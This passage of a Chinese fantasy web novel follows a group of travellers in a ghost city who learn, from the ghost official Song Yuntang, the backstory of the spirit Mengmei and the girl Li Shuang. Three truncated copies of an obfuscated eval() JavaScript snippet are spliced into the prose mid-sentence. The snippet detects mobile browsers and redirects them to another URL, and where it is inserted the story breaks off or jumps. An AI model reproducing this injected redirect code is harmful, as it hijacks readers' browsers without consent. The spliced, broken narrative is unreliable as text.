她看向三花,“那时候,我们不是要去找梦寐吗?可是我刚一转身,你就不见了,我就莫名其妙地进入了一个什么幻境,你们怎么样?后来发生了什么?” 三花张了张嘴,正欲回答,一个声音却先她一步开口,“秦姑娘终于醒了?” 这声音又有些耳熟,秦湘愣了愣,眯了眯眼睛,朝着声源处望去。在房间门口,站着一个一袭粉衣十八九岁模样的姑娘,她手中拿着一只卷轴,一双眼睛温柔如水,嘴角含笑,也正看着秦湘。 “宋姑娘?”秦湘呆了一瞬,不可置信地喃喃道,面前这个朝她缓缓走来的,不是宋允棠还是谁? 没想到在这里竟然还会遇见她,那一晚上,她拜别了宋芸之后,黑白无常也随之而来。秦湘为了让宋芸不再担心,也有一个好好活下去的盼头,便告诉她宋允棠是小白,可众人都知道,那天晚上,拜别了宋芸之后,他们也看着宋允棠跟着黑白无常回了黄泉地府。 杀人偿命,虽然是程鸿恩他们先杀害的宋允棠,但鬼界除了看这些情况外,也有它自己的一套规则秩序。宋允棠是鬼,鬼不能伤害人,若有仇有怨,也得先丈量过其生前事,既然已经来到了鬼界,那人间的一切便就是前尘往事,不可插手断人生死。 因果轮回,善恶有果。如果执念实在颇深,最好的办法便是通过一系列的流程之后再留在彼岸之城内,等待着前尘执念结果的最终到来,最后执念散去,渡过忘川,转世轮回。 那天晚上,看着宋允棠被黑白无常带走,秦湘心中也约莫知道可能她回到鬼界之后是需要清算其功德与罪孽的,但功过相抵,再加上程鸿恩他们本就是十恶不赦之徒,想来她的最终判决应该也不会太重。所以,她压根也不会想到竟然还能在这里再遇见宋允棠。 秦湘眨了眨眼睛,短时间内还有些云里雾里,看着朝着她走了过来的宋允棠,她怔了怔,愣愣地开口道:“宋姑娘,为什么你会在这里?” 宋允棠走到了几人面前,然后停下,笑着答道:“因为现在这个时辰,正是我当差的时候呀。” “当差?”秦湘有些没反应过来,虚实交加的场景翻转地太快,让她还有些浑浑噩噩。 乔玉洲见她如此呆怔的模样,于是给她解释道:“宋姑娘就是那老爷子说的彼岸之城的鬼使。” “???”秦湘感觉自己更混乱了,摸不着头脑,大概是那幻境给她留下的后遗症。听着乔玉洲的话,她心中惊讶,甚至连声音都提大了几分,“什么?彼岸之城新来的鬼差竟然是宋姑娘你吗?” 一个激动,带动了肩膀的伤口,她又嘶了一声。长锦见状将她扶住,手心再度送出灵力贴向她的伤口处,轻声道:“伤口恢复还要一段时辰,可能会有些疼。” “没事,”秦湘摇了摇头,此时比起这伤口,她更想知道现在这一切到底是怎么回事。她看向一旁站着手中握着卷轴的宋允棠,又问道,“宋姑娘,这到底是怎么回事呀?我还以为你早已渡过忘川往生轮回了,你又怎么会在彼岸之城中当差呢?” 宋允棠笑了一下,抬手又朝着屋内的几人行了一礼,“说起来还是因为各位的襄助,我才能有今日,那日离开地匆忙,允棠在这里还要先谢过诸位帮我照顾奶奶。” 闻言,众人相视一眼,也相继回道:“举手之劳而已,宋姑娘不必客气。” “我自知罪孽深重,功过相抵后,本应入寒冰地狱再受罚十年,然后再前往忘川往生,”宋允棠静了一会儿,轻轻说道,“阎罗大人念我是受人挑拨,做出的行为不具备自主意愿,故而免去了我的刑罚。但我终归是识人不淑,对不起奶奶,我亏欠了奶奶,所以我就被阎罗大人派来了这里帮他打理彼岸之城,也相当于是在彼岸之城里等着奶奶,与奶奶重聚,再一同转世,再续前缘。” 听闻此言,众人心中也是明了。鬼界虽然很多时候也是一板一眼地按照规矩办事,但是因果轮回善恶有报,阎罗对于宋允棠的这个惩罚,名义上说是惩罚,倒不如说是对她的通融。罚她在彼岸之城停留,不能立即前往轮回,但这个罚,对宋允棠来说,又何尝不是一种弥补?一个机会? 秦湘看向她,心中也为她高兴,温声道:“善有善报,恶有恶报。如此,对宋姑娘你而言,就是再好不过了,下辈子,一定要和奶奶好好的。” 宋允棠颔首,“嗯嗯,我会的。真的很谢谢各位。” 叙完了旧后,宋允棠顿了一顿,才捡起了她此行来的目的,看向几人,继续问道:“好了,说完我了,来说说各位吧,好好的怎么会突然来到彼岸之城,还陷入了黎双的幻境之中?” 闻言,几人愣怔片刻,旋即反应过来,虽然他们不知道宋允棠口中的黎双是谁,但是想起白日里那个买糕点的老爷爷说过的话,彼岸之城新来的使者与梦寐接触过,后来梦寐在彼岸之城内的一切行为都是受到鬼差们的默许的。 宋允棠既然就是这新来的使者,那黎双自然也就是梦寐了,或者说是那具被梦寐寄生的躯壳的主人的名字。四人都与宋允棠接触过,知道她并非是不能说话之人,且如今这副情形,就算他们不说,宋允棠也知道他们并非鬼魂,而是活人。 既然如此,那也就没什么好隐藏的了。几人对视了一眼,便将此番的来意简单地与宋允棠说明了一下。宋允棠听完,沉思了片刻,而后才道,“我知黎双是妖,但是竟不知道这其中竟然还有这层缘由,”她叹了口气,继续道,“这个时辰黎双已经离开彼岸之城了,不过,我觉得秦姑娘你们就算找到了黎双,她可能也未必会见你们。” 三花闻言一怔,急道:“宋姑娘何出此言?你可是知道些什么?” “现在的黎双虽然是妖,但是她却恨妖,”宋允棠顿了一顿,目光在几人脸上扫过,又道,“也同样恨人。想来应该是那时在善恶之河中她认出了你们,所以晚上才会对你们动手的。她对你们动手应该也是想暴露你们的身份,引得鬼差们前来,幸好……” “幸好前来的鬼差是你。”秦湘接道,想着那个幻境,她看向身旁的几人,“我方才在幻境中见到了我的阿娘,那个打破幻境的方法,是让我和阿娘自相残杀,二者活下一个,幻境才会破灭。她好像被操控了般,失去了自我意识,可是最后关头,幻境却自我破灭了,阿娘也消失了。” “是宋姑娘及时赶来,施法牵制住了梦寐的幻境,所以才能中止幻境之中发生的事情,”乔玉洲与秦湘一起长大,自然也知杜元霜在她心中是一个什么样的存在。见她这副神色逐渐暗淡下去的模样,他叹了口气,轻声安慰道,“秦湘,没事的,伯母已经渡过忘川了,她会过得很好的。” 秦湘心中一咯噔,简直不敢相信自己听见了什么,她蓦地抬头,死死地望向他,急道:“渡过忘川?你怎么会知道?阿娘她……已经转世轮回了?” “是的,秦姑娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355416|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”宋允棠看着她如此模样,也接口说道,“我奉阎罗之命掌管彼岸之城鬼魂名册,每日都会记录停留在彼岸之城和进入黄泉之门前往转世的魂魄。所以我也曾见到过你母亲的名字,放心吧,她已经放下执念,投胎转世了,如今正在好好长大着。” 秦湘沉默片刻,点了点头,静了一会儿,心中还是有些疑问,“那如宋姑娘你所言,阿娘她早已转世,那为何我在幻境之中还能使用招魂大法召唤出她,而且一开始的她,是有良知的,她能认出我来,她有我阿娘的记忆,她还会用我阿娘的剑法,甚至,她在失去意识之前还让我杀了她。” “黎双,也就是你们说的梦寐,她是一种幽灵型妖怪,与我们这种鬼魂其实也算是有一些同类质。她释放出的妖力能编织出一场巨大的梦魇幻境,不过这幻境对鬼无效,对活人有效。”宋允棠解释道,“所以那时候你们其实都在一个空间内,只是中间有一层结界让你们看不见对方,每个人都有专属于自己内心深处的梦魇,只有走出梦魇,才能打破那个幻境界限,看见彼此。” “所以其实那个时候,三花你就在我身旁,只是我们被隔绝开了,所以才看不见对方……” 如此,便也说得通了。在四人当中,三花与乔玉洲的人生一帆顺风,并没有经历过什么大起大落刻骨铭心的事情,所以破除这梦魇对于他们而言,并不算难。 而长锦虽然内心深处有过梦魇心魔,但梦寐的等级还不足以窥探神明的心境。只有秦湘,因为杜元霜的事情,那是她多少次午夜梦回的恐惧与后悔。每次在梦中看见阿娘的身影背向着她,越走越远,越走越远,无论她怎么呼唤,她都再也不会回来了。这种恐惧,是刻在了骨子里的。 秦湘垂下头,看向自己的掌心,肩膀上的伤口在长锦灵力的修复下已经完好如初了,但是掌心残存的血迹告诉她幻境中发生的一切其实也是真实的。 她心中一动,转了转眼睛,思忖了片刻,又抬头看向了宋允棠,还是觉得有些不对劲,“宋姑娘,如果我在幻境中见到的那个不是我阿娘,那我在幻境之中用招魂大法召唤出来的那个又是个什么?是幻觉吗?外层幻境一坍塌她也会随着一起消失?她是我阿娘的模样,她若消失会对我阿娘造成什么影响吗?” “那并不是你的母亲,她只是你的记忆,”宋允棠道,“梦魇幻境中出现的亡魂,其实并不是真实的亡魂,是用幻境中人心底里最深处的思念的回忆制作而成的回忆虚影,虚影成实,然后杀人,所以秦姑娘你在幻境之中受了伤在现实里同样也会受伤。” “至于你说的那影子有意识,认得你,危急时刻还让你杀了她,这其中可能也有部分原因是她是由你对母亲的记忆与思念化成的影子。除了复制了你母亲的一切外,也继承了一丝你与你母亲之间的感情,所以才会在意识彻底被幻境控制之前还想着要保护你。” “原来如此……”心中的困惑得到了解答,秦湘若有所思地点了点头。幸好,阿娘没事。就算知道了阿娘已经转世,但在幻境之中再次看见杜元霜在她面前破碎消失的场景太过真实,真实到让她有些恐惧,若是必须只能活一个,幻境才能破灭,她活着了,那不就代表着她的阿娘就要消失了。 她不敢想,真的不敢去想如果作为鬼的杜元霜若是再消失一回,那是个什么情形。 不过,所幸一切都是虚影记忆,除了她肩头挨的这一剑,一切都没有变化。 此时听完了宋允棠的这一席话,秦湘一颗焦躁不安的心也终于稳稳地落回了肚子里了。确认好了这个梦魇幻境的事情过后,剩下该关心的就是梦寐的事情了。 秦湘呆了一会儿,面色虽然还有些憔悴,但精神已经恢复了大半了。她揉了揉肩膀,在长锦的搀扶下走下了床榻,几人在屋内寻了张桌子围着坐了下来。 她看向宋允棠道,“宋姑娘,你方才说梦寐是在善恶之河中认出了我们,所以才会对我们出手,可是我们与她无冤无仇,她为什么要大费周章用这种梦魇幻境来困住我们?还有,听闻城中鬼众说,梦寐十日一次出现在彼岸之城的行为是你们所允许的,那时我看她的行为,像是在寻找着什么?她到底是在找什么?” 宋允棠将那时一直拿在手中的卷轴摆放在了桌面上,叹气道,“这说来可就话长了,不过准确来说黎双应该是认出了三花姑娘,所以才会生出怨恨,然后对你们出手。” 几人闻言一惊,目光看向了坐在一旁紧蹙眉头的三花。乔玉洲讶然道:“因为三花?” “嗯,”宋允棠点点头,“我想,具体缘由,三花姑娘心中应该比我更清楚些。” 87.恶童无忌 看着众人朝她投来的视线,三花想起了白日里梦寐看她的那个眼神,不多时,也是明白了为何她会怨恨妖了。沉默片刻,三花垂下眼帘,语气凝重喃喃道:“如果我没猜错的话,梦寐怨恨妖的理由应该也与我一直在调查的那件妖怪失踪案有关。” 她说到这儿,顿了一顿,半晌,又接着道:“因为失踪的是小妖,所以妖界其余族长们压根不想管这件事情,受到这案件影响的底层小妖们求助无门,自然也会对我们心生怨怼。” “那不是你的错,”秦湘伸手拍了拍她,柔声安慰道,“其他族长不管是他们的事,我们都知道你一直在为这件事努力着,从来没有放弃过,所以你心里不要把过错全部揽到自己身上,没事的。慢慢来就好,我们会和你一起找到真相的。” 三花叹了口气,朝着她扯出个无奈的苦笑,“谢谢秦湘姐姐。” “真相肯定是要找的,不过如果梦寐真是这样,那我们想要找到她问关于这件事情的线索的话可能就有些难了,”乔玉洲补充道,“因为她对我们就已经抱有敌意了。” 屋内的烛火摇晃,每个脸上都神情恹恹,心中郁结。这就有些难办了,如今线索是找到了,但是线索本人却对他们抱有敌意,别说是找她问关于这件事的消息了,怕只光是出现在她面前,双方说不上一句话就要剑拔弩张地开打了。 三花皱着眉头沉思了片刻,半晌,像是下定了决心似地看向宋允棠,诚恳道:“宋姑娘,我此番前来,就是为了这件事。这些年里,我一直在调查这件事背后的真相,不管梦寐愿不愿意将事情告知于我,我都要去试试,我想给那些小妖们一个交代。所以还请姑娘指点一二。” 闻言,宋允棠一怔,旋即摆摆手,温声道,“三花姑娘不必这么客气,你们若是想知道,我自然应当知无不言。”她说着,将放在摆在桌上的那个卷轴展开在了众人面前。 随着那卷轴展开,几行小字散发着熠熠光辉从卷轴上跃起,在空中虚虚地漂浮着。那是记载鬼魂生平的宗卷,三花抬头看了会儿,那些字体密密麻麻地记载的都是一位名叫黎双的姑娘。 她望向宋允棠,疑惑道,“宋姑娘,我方才就一直想问这个问题很久了,梦寐不具备实体,她现在用着的这具身体应该就是这位名叫黎双的姑娘的吧?她们之间到底有何联系?为何她会一直出现在鬼界?” “是啊,”秦湘也很好奇,抬眼看向她,“我也想知道,为什么她可以来去自如地漂浮在善恶之河中,你们为什么不像其他鬼魂一样将她打捞起来呢?” “我们倒是想,但是情况有些特殊,”宋允棠无奈地叹了口气,“黎双姑娘的魂魄不全,还有一魂不见了,这样的魂魄是无法正常投胎转世的。” 乔玉洲奇道,“无法正常投胎转世?” “是的,魂魄不全者转世之后可能会与正常人有些许差别,”宋允棠点了点空中漂浮的小字,从中找到了一行说明拉大扩放在了众人眼前,“像黎双丢失的这个魂魄如果没有找回来的话,可能来生的她就会有智力缺陷,也就是可能会是个傻子。” “为什么魂魄会不见?你们还要负责这个吗?必须要将所有丢失的魂魄全部找回来?” “肯定是管不到全部的,”宋允棠又是无奈地摊了摊手,“但是全部留在鬼界也是不现实的,鬼界会鬼满为患。所以我们会尽量在规定时间内去寻找这些丢失的魂魄,如若到了最后时限了还未找到那也没办法了。” “啊?”秦湘小小的惊讶了一下,“那这些魂魄有损的人岂不是世世轮回命里都带着缺陷?” “也不会,十世轮回之后,这缺失的一魂也会慢慢重塑聚拢,然后等到下一世就会正常了。” 长锦倒是没有在意这些,他静静地看着空中如同一尾尾游鱼般悠悠飘荡着的文字,一语中的地点到,“所以梦寐是在寻找黎双丢失的那一魂?” “是了,黎双是梦寐的救命恩人,所以她想报恩,想找到恩人的魂魄,”宋允棠道,“我们的目的是一样的,都是为了找到黎双丢失的那一魂,多一个人多一份力量。” “救命恩人?”秦湘顿了顿,思量了一会儿,也许这倒是个突破口。如今梦寐对几人是有怨恨的成分在,但是她一心扑在了黎双身上,如果能好好把握住机会,也许未必不能从她这里得到那幕后之人的线索。 想到这里,秦湘于是道,“那宋姑娘你可否与我们说说,这黎双姑娘因何而死?又为何丢失了一魂?她又是如何成为了梦寐的救命恩人的?” “这个嘛,我找找。”宋允棠一边说着,一边低头看向桌上那个卷轴,手掌一摊,一只精巧毛笔便出现在了她的掌心。她握着笔,寥寥几笔在卷轴上写下了黎双两个字。刹那间,卷轴上金光大盛,金色小字在众人眼前快速地飞舞着,然后凝聚成型,将黎双的生前生后事一一展开在了半空之中…… 原来,这黎双本是露华镇人士,与父母一同住在露华镇下面一个叫做桐茶村的小村子里面,以给药铺提供药材为生。虽然家庭情况不富裕,但是胜在温馨和谐,父母对她很好,一家人其乐融融,日子过得也有滋有味。 在这样温馨和睦的氛围下长大的黎双,性子也是极其温和善良的。在那个大环境下,虽然黎双身为女子,但黎父黎母对其的教育与该给的爱意丝毫没有少给。穷人家的孩子总是会早懂事些,将心比心,父母对她好,所以黎双自小也知道心疼爹娘。 黎双与梦寐相遇的那一天,天气晴朗,万里无云。一切都好,除了故事里的其中一个主人翁不好,如此相比,准得来说也属实算不上是一个很好的开场。 桐茶村中有一个小私塾,里面教书的老先生是个落了榜的老秀才,虽然输了考试,但他也没觉得怎样,直接就收拾包袱归了乡,然后在村中教起了孩童识字。 秀才并不迂腐,不管男子还是女子,只要是想学字,想认字的,想认真学的,他一律来者不拒。黎家以售卖药材为生,自然要学认字,会写字,所以黎双自小也被黎家夫妇送往那私塾中学习。 那一天傍晚,黎双下了课,与先生问了安后,就抱着书卷准备回家。刚走出私塾大门,就看见面前一个草丛堆前围绕着一群孩童,一群孩子嘻嘻哈哈地笑着,蹲在那里,手中拿着木棍,不断地戳向草丛中。 “它好脏啊,快,将它赶走吧。” “赶走做什么,我还没见过这么笨的,好不容易逮着了一只,不得好好玩玩啊。” “快看它,用这个打,不要用手,太脏了。” 黎双隔得远了,没看见那草丛中有什么,但是听见这些对话传了过来,她心中也隐隐约约升起了一阵疑惑与不好的预感。还未等她靠近,便看见一个孩童手中拿了个树枝做的弹弓,夹了一枚小石子朝着草丛中打去。 “砰”的一声,是打在皮肉上的声音,随之而来的是一声惨烈嘶哑的猫叫声,“喵!”一只浑身是泥灰色皮毛的瘦猫从草丛中挣扎着跃出,但还未跑出两步,便又被其中一个笑得粲然的小孩抓住后腿扯了回来,“跑到哪里去!哈哈哈哈!” 黎双抱着书卷,站在原地,紧紧地盯着面前的画面,她不知道该怎么形容自己此时此刻看见的这副场景。 面前的几个孩童灿笑着,那只瘦骨嶙峋的灰猫小小一团,缩在草丛中,大大小小的小石子不断地砸向它,它想逃,却无处可逃。灰猫的惨叫与孩子的灿笑在这一刻在她眼前形成了一种极致的反差。 黎双认得那个为首的孩子,那是村中有名的小霸王,虽然理智告诉她不应该多管闲事,但是心底那份的良善还是让她无法对面前的场景坐视不理。 她深吸了一口气,抱着书抬脚朝着那边走去,在那群孩童面前站定,“你们不要再打它了,它已经受了很严重的伤了,会死的。” 对面的孩子们只愣怔了须臾,便纷纷抬首望向她。有人狞笑道:“反正它都要死了,我们玩我们的,又关你什么事,你哪里凉快哪里呆着去。” 黎双被这么一噎,也怔了一下,手指紧紧地捏住怀中的书卷。而被几个孩子围在中间的瘦猫见众人被吸引了视线的这个空当,爪子一点,便想逃离。可伤势实在太重,还未跃出,就被为首的孩子捏住了后脖颈提了起来。 “喵!”指尖陷入皮肉,瘦猫痛苦应激地哀嚎了一声,四只爪子还在拼命地挣扎着。 那孩童捏住它狠狠地往旁边的一块大石头上砸去,“跑,你跑地掉吗?”他笑着,将手中奄奄一息的猫又重新提了起来,朝向面前站着的黎双,“喂,你不是想要这只猫吗?拿钱来换吧。你给钱,我们就把猫给你。” 黎双看着他们,心中也知道这些人本性如此,这钱别说她没有,就算她有,也是万万不能给的。若是这么轻易地给了他们,他们只会变本加厉,助长他们以故意伤害动物来讹人的风气行为。 于是她想了片刻,声音有些轻颤,道:“我没有钱。”顿了顿,她像是想到了什么似的,又道,“你们这种行为是不对的,先生还在这里,你们若是不放了它,我就告诉先生去。” 闻言,对面几人微微一怔,旋即笑了起来。有人道,“没钱你管什么闲事,还告诉先生,告状精,你觉得那老头子能管我们?真是笑死人了,哈哈哈哈哈。” “别跟她废话了,你快滚快滚,不然我们连你一块揍了。” 到底还是个小姑娘,被这么一嘲,黎双虽然表面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎双将那只灰猫带回了家中,女儿喜欢,想要救它,黎父黎母自然也不会过多阻拦。黎双心中也记挂着这小家伙,吃完晚饭后,又迫不及待地弄了一些猫能吃的食物装进小碗中,然后回了房间。 因为父母生计的缘故,黎双从小接触了许多草药,所以药理方面,她多少也懂些。下午将它带回来后,她便先将小家伙身上的伤简单地处理包扎了一下,它身体过于虚弱,整个过程也十分配合,当然,没有精力再来挣扎也是一个原因。处理结束后,便昏昏地睡了过去。 黎双将小碗放在了桌上,然后走到了一旁的竹编篮前,看着篮子里团成一团的灰猫,她目光都不自觉地柔和了下来。静静地看了一会儿,她抬起手来,轻轻地抚上了它的背脊,“喂,起床啦,吃饭啦。” “……”房间里安安静静,她没有得到任何的回应。 黎双愣了愣,又摸了摸它,“喂,小家伙,快起来啦。”还是没有任何回应,她心中一怔,手指触及之处,并没有任何温度。 一个可怕的念头浮现在了她的脑海之中,没有任何犹豫的,她迅速地将篮子中的灰猫拿起握在了手中,手掌细细地感受着它的脉搏。 不管她怎么感受,都是一片平静,除了身体并没有僵硬之外,其余所有的一切特征,都在告诉着她,她手中的这只猫,已经死去。 黎双僵怔在原地,冰凉的触感从她的掌心一直传到了她的心底。她眨了眨眼,心中悲唏,到底还是没救回来它吗? 她怔怔地看着手中一动不动的灰猫,也仿佛入定了般,好半晌,都没有再回过神来。 “喂,小孩儿,你在干什么?”忽然,房间里传来了一个陌生的声音。黎双吓了一大跳,眼神聚焦,随着声音一同传来的,还有掌心里那微弱的动静。 她眨了眨眼睛,条件反射地低头朝着动静处望去,下一刻,毫不意外地和手中那本该“死去”的灰猫对上了眼。 一人一猫就这样四目相对了一会儿,黎双被面前的情况整得一愣一愣地,一时都还有些没反应过来。 手中提溜着的灰猫看着她呆愣愣的神情,在她的注视下,缓缓地抬起了一只爪子,借着她的手掌懒洋洋地拖着腮,一副看傻子的神情看着她,然后道:“喂?你傻了不成?怎么一动不动?” 一秒、两秒、三秒。黎双艰难地眨眨眼,她不知道该怎么形容她现在看见的这幅场景,猫?!一只猫?!会说话?! 等她反应过来之时,已经下意识地将手中的猫丢了出去,然后毫不犹豫地奔向房间内那扇唯一的门。边奔边喊: “妖怪啊啊啊!” 88.狡童十问 黎双一路奔向房门,在她即将出去之时,一层银色的透明结界便瞬间出现在了她的面前。她防备不及,狠狠地撞了上去,然后又被重重地反弹到了地上。 这一下挨得是真结实,她揉了揉撞地生疼的额头,两眼冒金星。 房间内很安静,皎洁的月光透过半敞开的轩窗柔柔地撒了一地,那只被她扔了出去的灰猫此时也轻轻巧巧地落在了桌边,月光照耀在它身上,为它周身都渡上了一层银光。 黎双不懂这是结界,她晃了晃脑袋,看着面前这层莫名其妙多出来的东西,想也不想,立马就又爬起了身,朝着前面跑去,拼命地砸着,大声地喊着:“阿爹,阿娘,救命啊。” “别喊了,他们是听不见的,也看不见这结界里面的东西,省点力气吧。” 声音中带着些懒洋洋的玩味又带着漫不经心的腔调,黎双抖得更厉害了,她想起了下午那群小孩儿忽然那副惊恐的样子,那时她不知道是为何,在此时她终于知道了答案。 面前的东西砸不开,外面的阿爹阿娘看不见她,还在默默地收拾着房间的东西。 “阿爹,阿娘。”黎双喊着,直到外面的黎父黎母拿着手中的背篓走出房间,都未曾往这边的方向瞧上一眼时,她才认命般,颤抖着转过身去。身体紧紧地贴着身后的结界,紧张地看着窗台上月光下那只优雅蹲坐着的灰猫。 她咽了咽口水,比起她的惊恐来说,面前的明明是一只猫,但黎双却在它的脸上看到了一种莫名从容的表情。见它好像并无伤害她之意,她顿了顿,才大着胆子一边抬眼打量着它,一边颤着声音磕磕巴巴道:“你、你……你是……是猫妖?” 灰猫听着她的问话,发出了一声轻笑。黎双微微歪着头看着它,不知是不是她的错觉,她总觉得这笑声中莫名有些自嘲的意味在,她听着它笑了一阵,才又继续道,“你笑什么?” “你猜错了,我不是猫妖,”灰猫顿了一顿,在窗台上趴下,一双猫眼在月光的照射下闪烁着银色的光辉,它咧开嘴,“我是梦寐,你可能不知道,我可以寄居在别人的躯壳之中,所以你要是再敢大喊大叫,我就吃了你的魂魄,要了你的身体,让你再也不能见到你的阿爹阿娘。” 听着灰猫这威胁的话,黎双抖着嘴唇,下意识地便想叫出来,可是一想到它方才的话,又硬生生地抬起手掌捂住嘴憋了回去。 看着她这副泫然欲泣的样子,灰猫心情似乎不错了些,它懒洋洋地看着她,笑道,“没错,就是这样,不许叫也不许哭,好好捂住了,不然我可不敢保证我会做些什么。” 黎双恨恨地望着面前这个让她这一晚上变成这样的罪魁祸首,涨红着脸,眼中的不服气都要溢出来了。灰猫眯了眯眼睛,又好整以暇地站起身来,“喂,小孩儿,你不服气,想打我?” “哼,”被它看破,黎双移开视线,“你是个坏妖怪,下午他们也是你吓走的吧?” “我坏?”灰猫冷笑一声,“如果不是我,你现在就该被他们抓起来揍了,是我救了你。” “你救了我?”听它这么说,黎双就更加不服气起来了,下意识地便开始翻旧账,“明明一开始是你被他们抓起来揍,如果不是为了救你,我也不会被他们揍,要说救也是我先救的你。” “那你救了我吗?成功了吗?自己都保护不好,还救我?”灰猫睨了她一眼,嘲讽道,“而且就算没有你相救,我也不会有事,是你多管闲事。” 被它这么一噎,黎双一顿,害怕也被抛到了脑后,此时只想着必须要争赢。她只愣了一瞬,便不甘示弱地道,“是你叫得那么惨,你要不会有事,你干嘛还要被他们欺负,不早出手了!” “你!”这句话不知是哪里戳到了它的痛处般,灰猫一怔,猛地站了起来,弓起了身子。黑影在墙壁上迅速蔓延,拉得又大又长,将贴着结界站着的黎双笼罩其中,仿若下一刻就能将她完全地吞入黑暗,“你知不知道你在和谁说话?!你再敢多嘴一句,我就吃了你!” 看着它这副动怒的模样,黎双脸色一白,才反应过来自己方才说的话确实是有些过激了,它说得也确实对,后面确实是因为它,那些人才被吓走了的,她们才会得救。 气氛陷入了僵持,黎双看着面前窗台上的灰猫,张了张嘴,一时也不知道该说什么。一人一猫就这样互盯了好久,最终还是灰猫先移开了目光,弥漫了大半个房间的黑影被慢慢收了回去,变回了一个正常的影子拉在灰猫身后。它蹲在窗台上,偏开头,发出了一阵人声似的咳嗽。 身后的结界忽明忽暗,灰猫的法力已经不够维持它了。它咳了好一阵才勉强平缓下来,看着皮毛下那又溢出鲜血的伤口,它咬咬牙,暗骂道:“该死!怎么偏偏是这个时候。” 黎双不知道该怎么形容自己看到的这副场景,虽然听院里的说书先生讲过关于那些山野妖怪与神仙的故事,但是也仅仅只是听过而已。而今晚上,她却一次又一次地真实地看到了这些只在书卷里存在的东西。她睁大着眼睛,惊愕地看着面前的场景。 在她面前,灰猫的眼睛缓缓地闭上了,然后伏倒在了窗台上一动不动。在它上方,链接了一只透明白色水滴状如魂体又如云烟的生物。月光此时也在慢慢地笼聚起来,变成了一道柔和的白色光柱照耀在了它与灰猫的身上,并被它不断吸收。 月光洒在窗台上,黎双发现,灰猫身上的伤口正在以惊人的速度快速地愈合着。随着最后一缕月光光柱进入到梦寐的身体之中后,灰猫的伤口彻底愈合,梦寐也回到了它的身体之中。 黎双简直惊呆了,她站在那,看着面前的灰猫转了转眼珠,然后僵硬地站了起来,仿佛一具被操控的木偶般前后走动了几步。随着两声骨骼摩擦的“吧嗒”声响过之后,它的眼神才恢复了清明。 灰猫眯着眼睛看向面前盯着它发呆的黎双,不知想到了什么,它朝她抬了抬下巴,恶声恶气地威胁道,“喂,小孩儿,现在知道害怕了吗?如果知道害怕了,你最好就……” “你受伤了?”黎双没有再听它那些假乎乎的威胁,而是打断了它,直接道,“受伤了所以要隐藏在这只灰猫的身体之中,月光能增强你的力量,那时候你能施展法力吓走那些小孩也是因为太阳下山了,没有阳光了,我说的对不对?” “……”灰猫僵了片刻,旋即冷笑一声,“你觉得你很聪明吗?不要揣测我。” “先生说我是他最聪明的学生,我觉得我还是挺聪明的。”黎双缓了缓,经过了这一会儿的交流感受,她觉得面前的妖怪并不是只坏妖怪,虽然威胁她吓她,但并没有真正的伤害她。就算是那个时候也只是吓走了那群孩子,并没有直接伤害他们。 于是她也渐渐地放松了下来,朝着它那边小心翼翼地走了两步,试探性地开口,“所以你现在好些了吗?伤口都恢复了?那个时候我还以为你……”她说到一半,觉得直接说以为它死了这句话并不礼貌,于是倏地闭了嘴,只眨巴着眼睛望向它。 “以为我死了?”只是话已说到这个份上,就算黎双没有继续说完,梦寐也猜到了她要说的是什么。它嗤笑一声,朝着她投去一眼,“如果我慢一秒回来的话,你是不是就要把我埋了?” “没……没有!”闻言,黎双心一抖,哪敢再想把它埋了的事,虽然那时候确实下一步是要将它埋了,她飞快地摇着头否决,“绝对没有的事儿,你想多了。” “哼。”梦寐冷哼一声,倒也没在揪住她这茬不放了,它轻轻巧巧地跳下窗台,回到了一开始黎双给它准备的那个猫窝面前,不疾不徐地躺下,使唤着她,“喂,你别站着了,我渴了,要喝水。” “……”黎双站在原地,望着它,没有动。 “干什么?喝你一口水都不行?”梦寐见她没动,怒了,“你不是小善人吗?怎地这么小气?” “……”黎双叹了口气,抬手拍了拍身后那道忽明忽暗的结界,“这位妖怪大人,梦寐大人,我请问一下呢?水在外面,你让我飞出去吗?你不把这东西撤了我怎么去给你拿水?” “……”梦寐也僵了片刻,轻咳一声,旋即更怒了,“那你长了张嘴巴是用来干嘛的?你要出去你不会直说吗?”说罢,它一边念念叨叨,一边抬起爪子点了点。 黎双只觉得一从无名之火从心底烧到了头顶,看着面前大爷似地躺坐着的梦寐,她核善地笑了笑,深叹了一口气,然后半晌之后,抬脚转身拉开门走了出去。 忍,那是病号,不和不讲理的病号起争执,不然是她不占理了,欺负病号。 她很快去而往返,端回了一碗水送到了梦寐的面前。梦寐看着放在一边的桌上的碗,没动,黎双看了它两眼,也是明白了它的意思。于是这回她端起了这碗水,送到了它的嘴边。 梦寐也没跟她客气,就着她的手,低下头咕噜噜地喝了起来。它的脸埋在黎双的手边,黎双低着头看了它一会儿,忽然,伸出手抚摸上了梦寐的身体,果然没猜错,意料之中的冰凉。 这个动作来得突然,梦寐一怔,猛地就拉开了与黎双的距离,背脊炸毛,爪子张开,一副戒备的模样盯着她,喝道,“你做什么?!” “下午的时候,这具灰猫的身体明明还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 